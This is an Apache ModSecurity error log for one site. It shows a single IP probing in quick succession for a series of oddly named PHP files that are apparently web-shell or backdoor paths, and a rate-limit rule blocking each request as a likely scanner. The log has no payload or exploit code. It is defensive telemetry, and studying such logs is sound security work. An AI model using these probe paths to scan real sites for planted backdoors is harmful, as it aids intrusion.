[Sun Mar 29 05:03:56.825586 2026] [:error] [pid 32257:tid 32332] [client 20.122.187.158:28280] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/OpVq6.php"] [unique_id "achCPCE3TArOFrUtgWomhAAAAI4"]
[Sun Mar 29 05:03:57.233976 2026] [:error] [pid 32257:tid 32336] [client 20.122.187.158:28131] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/OpVq6.php"] [unique_id "achCPSE3TArOFrUtgWomhgAAAJI"]
[Sun Mar 29 05:03:57.634087 2026] [:error] [pid 32254:tid 32278] [client 20.122.187.158:28252] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/OpVq6.php"] [unique_id "achCPaug2IHuyGgCTn8McAAAAA4"]
[Sun Mar 29 05:03:58.065841 2026] [:error] [pid 32257:tid 32327] [client 20.122.187.158:28209] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/OpVq6.php"] [unique_id "achCPiE3TArOFrUtgWomigAAAIk"]
[Sun Mar 29 05:03:58.467484 2026] [:error] [pid 32257:tid 32326] [client 20.122.187.158:28361] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Q73BO.php"] [unique_id "achCPiE3TArOFrUtgWomjAAAAIg"]
[Sun Mar 29 05:03:58.891590 2026] [:error] [pid 32257:tid 32318] [client 20.122.187.158:28196] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Q73BO.php"] [unique_id "achCPiE3TArOFrUtgWomjQAAAIA"]
[Sun Mar 29 05:03:59.317465 2026] [:error] [pid 32257:tid 32328] [client 20.122.187.158:28287] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Q73BO.php"] [unique_id "achCPyE3TArOFrUtgWomkQAAAIo"]
[Sun Mar 29 05:03:59.721399 2026] [:error] [pid 32257:tid 32335] [client 20.122.187.158:28275] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Q73BO.php"] [unique_id "achCPyE3TArOFrUtgWomlAAAAJE"]
[Sun Mar 29 05:04:00.123896 2026] [:error] [pid 32257:tid 32337] [client 20.122.187.158:28165] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rmpoa.php"] [unique_id "achCQCE3TArOFrUtgWommAAAAJM"]
[Sun Mar 29 05:04:00.551825 2026] [:error] [pid 32257:tid 32321] [client 20.122.187.158:28133] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rmpoa.php"] [unique_id "achCQCE3TArOFrUtgWommgAAAIM"]
[Sun Mar 29 05:04:00.957185 2026] [:error] [pid 32257:tid 32341] [client 20.122.187.158:28194] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rmpoa.php"] [unique_id "achCQCE3TArOFrUtgWomnAAAAJc"]
[Sun Mar 29 05:04:01.373696 2026] [:error] [pid 1524:tid 1556] [client 20.122.187.158:28177] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rmpoa.php"] [unique_id "achCQVoaWSl2asqQCh8OUAAAARg"]
[Sun Mar 29 05:04:01.803463 2026] [:error] [pid 32254:tid 32285] [client 20.122.187.158:28255] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "achCQaug2IHuyGgCTn8MeQAAABU"]
[Sun Mar 29 05:04:02.224832 2026] [:error] [pid 32257:tid 32328] [client 20.122.187.158:28251] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "achCQiE3TArOFrUtgWomowAAAIo"]
[Sun Mar 29 05:04:02.671441 2026] [:error] [pid 32257:tid 32335] [client 20.122.187.158:28228] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "achCQiE3TArOFrUtgWompQAAAJE"]
[Sun Mar 29 05:04:03.077563 2026] [:error] [pid 32257:tid 32332] [client 20.122.187.158:28240] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "achCQyE3TArOFrUtgWomqAAAAI4"]
[Sun Mar 29 05:04:03.492194 2026] [:error] [pid 32257:tid 32334] [client 20.122.187.158:28163] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "achCQyE3TArOFrUtgWomqgAAAJA"]
[Sun Mar 29 05:04:03.903934 2026] [:error] [pid 32257:tid 32341] [client 20.122.187.158:28238] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "achCQyE3TArOFrUtgWomrgAAAJc"]
[Sun Mar 29 05:04:04.309168 2026] [:error] [pid 32257:tid 32340] [client 20.122.187.158:28180] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "achCRCE3TArOFrUtgWomsAAAAJY"]
[Sun Mar 29 05:04:04.716370 2026] [:error] [pid 32359:tid 32382] [client 20.122.187.158:28097] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "achCRAMb8G3UzfQP3WjKsQAAANU"]
[Sun Mar 29 05:04:05.125612 2026] [:error] [pid 32359:tid 32374] [client 20.122.187.158:28187] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "achCRQMb8G3UzfQP3WjKswAAAM0"]
[Sun Mar 29 05:04:05.564757 2026] [:error] [pid 1524:tid 1543] [client 20.122.187.158:28195] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "achCRVoaWSl2asqQCh8OUgAAAQw"]
[Sun Mar 29 05:04:05.985601 2026] [:error] [pid 32257:tid 32333] [client 20.122.187.158:28292] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "achCRSE3TArOFrUtgWomtAAAAI8"]
[Sun Mar 29 05:04:06.396599 2026] [:error] [pid 32359:tid 32384] [client 20.122.187.158:28193] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "achCRgMb8G3UzfQP3WjKtgAAANc"]
[Sun Mar 29 05:04:06.809796 2026] [:error] [pid 32257:tid 32321] [client 20.122.187.158:28278] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "achCRiE3TArOFrUtgWomuAAAAIM"]
[Sun Mar 29 05:04:07.210470 2026] [:error] [pid 32257:tid 32326] [client 20.122.187.158:28216] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "achCRyE3TArOFrUtgWomuQAAAIg"]
[Sun Mar 29 05:04:07.622023 2026] [:error] [pid 32359:tid 32377] [client 20.122.187.158:28141] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "achCRwMb8G3UzfQP3WjKugAAANA"]
[Sun Mar 29 05:04:08.034045 2026] [:error] [pid 32257:tid 32340] [client 20.122.187.158:28213] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "achCSCE3TArOFrUtgWomvQAAAJY"]
[Sun Mar 29 05:04:08.437353 2026] [:error] [pid 32255:tid 32313] [client 20.122.187.158:28263] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v2.php"] [unique_id "achCSGnfn-AtRoMbquxFNwAAAFY"]
[Sun Mar 29 05:04:08.842663 2026] [:error] [pid 32254:tid 32287] [client 20.122.187.158:28202] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v2.php"] [unique_id "achCSKug2IHuyGgCTn8MgQAAABc"]
[Sun Mar 29 05:04:09.250486 2026] [:error] [pid 32254:tid 32277] [client 20.122.187.158:28121] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v2.php"] [unique_id "achCSaug2IHuyGgCTn8MgwAAAA0"]
[Sun Mar 29 05:04:09.656150 2026] [:error] [pid 32254:tid 32278] [client 20.122.187.158:28122] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v2.php"] [unique_id "achCSaug2IHuyGgCTn8MhgAAAA4"]
[Sun Mar 29 05:04:10.074134 2026] [:error] [pid 32359:tid 32372] [client 20.122.187.158:28169] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "achCSgMb8G3UzfQP3WjKvQAAAMs"]
[Sun Mar 29 05:04:10.501842 2026] [:error] [pid 32359:tid 32367] [client 20.122.187.158:28266] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "achCSgMb8G3UzfQP3WjKvwAAAMY"]
[Sun Mar 29 05:04:10.909276 2026] [:error] [pid 32255:tid 32302] [client 20.122.187.158:28321] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "achCSmnfn-AtRoMbquxFOgAAAEs"]
[Sun Mar 29 05:04:11.330040 2026] [:error] [pid 32359:tid 32363] [client 20.122.187.158:28164] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "achCSwMb8G3UzfQP3WjKwwAAAMI"]
[Sun Mar 29 05:04:11.740759 2026] [:error] [pid 32257:tid 32334] [client 20.122.187.158:28281] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v4.php"] [unique_id "achCSyE3TArOFrUtgWomwwAAAJA"]
[Sun Mar 29 05:04:12.182361 2026] [:error] [pid 32254:tid 32264] [client 20.122.187.158:28381] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v4.php"] [unique_id "achCTKug2IHuyGgCTn8MiQAAAAA"]
[Sun Mar 29 05:04:12.592694 2026] [:error] [pid 32255:tid 32303] [client 20.122.187.158:28157] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v4.php"] [unique_id "achCTGnfn-AtRoMbquxFOwAAAEw"]
[Sun Mar 29 05:04:12.997189 2026] [:error] [pid 32257:tid 32326] [client 20.122.187.158:28057] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v4.php"] [unique_id "achCTCE3TArOFrUtgWomxgAAAIg"]
[Sun Mar 29 05:04:13.406887 2026] [:error] [pid 32257:tid 32331] [client 20.122.187.158:28274] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ant.php"] [unique_id "achCTSE3TArOFrUtgWomyAAAAI0"]
[Sun Mar 29 05:04:13.819530 2026] [:error] [pid 32255:tid 32312] [client 20.122.187.158:28206] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ant.php"] [unique_id "achCTWnfn-AtRoMbquxFQQAAAFU"]
[Sun Mar 29 05:04:14.244782 2026] [:error] [pid 32257:tid 32330] [client 20.122.187.158:28350] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ant.php"] [unique_id "achCTiE3TArOFrUtgWomzAAAAIw"]
[Sun Mar 29 05:04:14.649467 2026] [:error] [pid 32257:tid 32335] [client 20.122.187.158:28217] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ant.php"] [unique_id "achCTiE3TArOFrUtgWomzwAAAJE"]
[Sun Mar 29 05:04:15.120322 2026] [:error] [pid 32254:tid 32286] [client 20.122.187.158:28113] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "achCT6ug2IHuyGgCTn8MjQAAABY"]
[Sun Mar 29 05:04:15.526429 2026] [:error] [pid 32257:tid 32337] [client 20.122.187.158:28215] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "achCTyE3TArOFrUtgWom1AAAAJM"]
[Sun Mar 29 05:04:15.936989 2026] [:error] [pid 32254:tid 32285] [client 20.122.187.158:28140] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "achCT6ug2IHuyGgCTn8MjgAAABU"]
[Sun Mar 29 05:04:16.458296 2026] [:error] [pid 32359:tid 32365] [client 20.122.187.158:28118] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "achCUAMb8G3UzfQP3WjKzQAAAMQ"]
[Sun Mar 29 05:04:16.885407 2026] [:error] [pid 32257:tid 32342] [client 20.122.187.158:28269] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc13.php"] [unique_id "achCUCE3TArOFrUtgWom2gAAAJg"]
[Sun Mar 29 05:04:17.314609 2026] [:error] [pid 32359:tid 32361] [client 20.122.187.158:28101] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc13.php"] [unique_id "achCUQMb8G3UzfQP3WjKzwAAAMA"]
[Sun Mar 29 05:04:17.715495 2026] [:error] [pid 32257:tid 32322] [client 20.122.187.158:28170] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc13.php"] [unique_id "achCUSE3TArOFrUtgWom3wAAAIQ"]
[Sun Mar 29 05:04:18.122069 2026] [:error] [pid 1524:tid 1554] [client 20.122.187.158:28188] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc13.php"] [unique_id "achCUloaWSl2asqQCh8OVAAAARY"]
[Sun Mar 29 05:04:18.521636 2026] [:error] [pid 1524:tid 1530] [client 20.122.187.158:28223] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "achCUloaWSl2asqQCh8OVwAAAQI"]
[Sun Mar 29 05:04:18.930596 2026] [:error] [pid 32359:tid 32375] [client 20.122.187.158:28214] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "achCUgMb8G3UzfQP3WjK0gAAAM4"]
[Sun Mar 29 05:04:19.353036 2026] [:error] [pid 32254:tid 32281] [client 20.122.187.158:28199] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "achCU6ug2IHuyGgCTn8MkQAAABE"]
[Sun Mar 29 05:04:19.753738 2026] [:error] [pid 32257:tid 32339] [client 20.122.187.158:28271] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "achCUyE3TArOFrUtgWom4gAAAJU"]
[Sun Mar 29 05:04:20.162402 2026] [:error] [pid 32257:tid 32319] [client 20.122.187.158:28191] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "achCVCE3TArOFrUtgWom5AAAAIE"]
